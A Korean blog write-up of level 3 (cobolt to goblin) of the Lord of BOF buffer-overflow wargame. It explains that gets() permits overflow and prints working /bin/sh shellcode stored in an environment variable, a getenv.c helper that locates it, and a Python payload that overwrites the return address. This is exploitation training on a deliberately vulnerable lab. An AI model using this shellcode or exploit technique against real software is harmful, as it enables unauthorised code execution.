[LOB] LEVEL3 (cobolt -> goblin)

2021. 3. 8. 11:58LOB

[ Level3(cobolt) Login ]

ID : cobolt

PW : hacking exposed


( 이번에도 bash2를 입력하여 0xff를 0x00으로 인식하는 오류를 예방한다. )

 

cat명령어로 goblin.c를 확인해보니 gets함수로 buffer를 입력받고 있다.

( gets함수는 Bufferoverflow취약점을 가진 함수이다. )

또한 코드에서 /bin/sh를 실행하는 코드가 없기 때문에

RET에 /bin/sh 쉘코드 환경변수를 만들어 그 주소를 RET에 넣어 /bin/sh를 실행시켜 비밀번호를 구하면 될 것이다.

 

우선, 환경변수를 만들어 준다.

< /bin/sh 쉘 코드 > 
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

그리고 쉘코드 환경변수의 주소를 출력하는 getenv.c 파일도 만들어 준다.

// getenv.c 소스코드
#include<stdio.h>

int main()
{
	printf("%p\n", getenv("SHELLCODE"));
    return 0;
}

gcc 명령어로 getenv실행파일을 만들어 주고, 실행시킨다.

쉘 코드 환경변수의 주소 : 0xbffffed8

 

이제 gdb로 goblin을 실행시킨다. (buffer의 메모리 위치를 알아내기 위해)

intel문법으로 변경 후, disass main을 입력하여 main함수를 디스어셈블 해준다.

함수에 매개변수를 넘길 때, 함수를 호출하기 전, 매개변수를 push한다.

위 어셈블리 코드를 보면 gets함수를 호출하기 전에 [%ebp-16]이 push되었다.

C언어 코드에서 gets함수의 매개변수가 buffer이므로,

[%ebp-16]buffer변수인 것을 알 수 있다.

buffer 16byte
EBP 4byte
RET 4byte

RET에 환경변수의 주소를 넣어주어야 하므로 20byte는 아무 값이나 넣어주고,

RET(4byte)에 환경변수의 주소를 넣어주면 될 것이다.

( 이번에는 argv[1]로 입력받는 것이 아닌 gets로 입력받기 때문에 pipe를 사용하여 넣어줄 것이다. )

(python -c 'print "\x90"*20 + "\xd8\xfe\xff\xbf"'; cat) | ./goblin을 입력하여 실행한다.

실행시킨 후, my-pass를 입력하여 다음 level의 비밀번호를 알아낸다!


[ Level3(cobolt) Clear ]

'LOB' 카테고리의 다른 글

[LOB] LEVEL4 (goblin -> orc)  (0) 2021.03.17
[LOB] LEVEL2 (gremlin -> cobolt)  (0) 2021.03.08
[LOB] LEVEL1 (gate -> gremlin)  (0) 2021.03.06
[LOB] Settings  (0) 2021.03.05